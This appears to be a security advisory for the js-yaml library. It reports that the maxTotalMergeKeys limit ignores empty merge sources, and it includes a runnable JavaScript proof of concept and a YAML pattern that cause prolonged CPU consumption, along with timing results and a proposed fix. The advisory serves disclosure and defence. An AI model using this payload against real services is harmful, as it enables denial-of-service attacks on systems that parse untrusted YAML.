js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

Summary

## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count every merge source mapping as one budget unit in addition to counting its keys.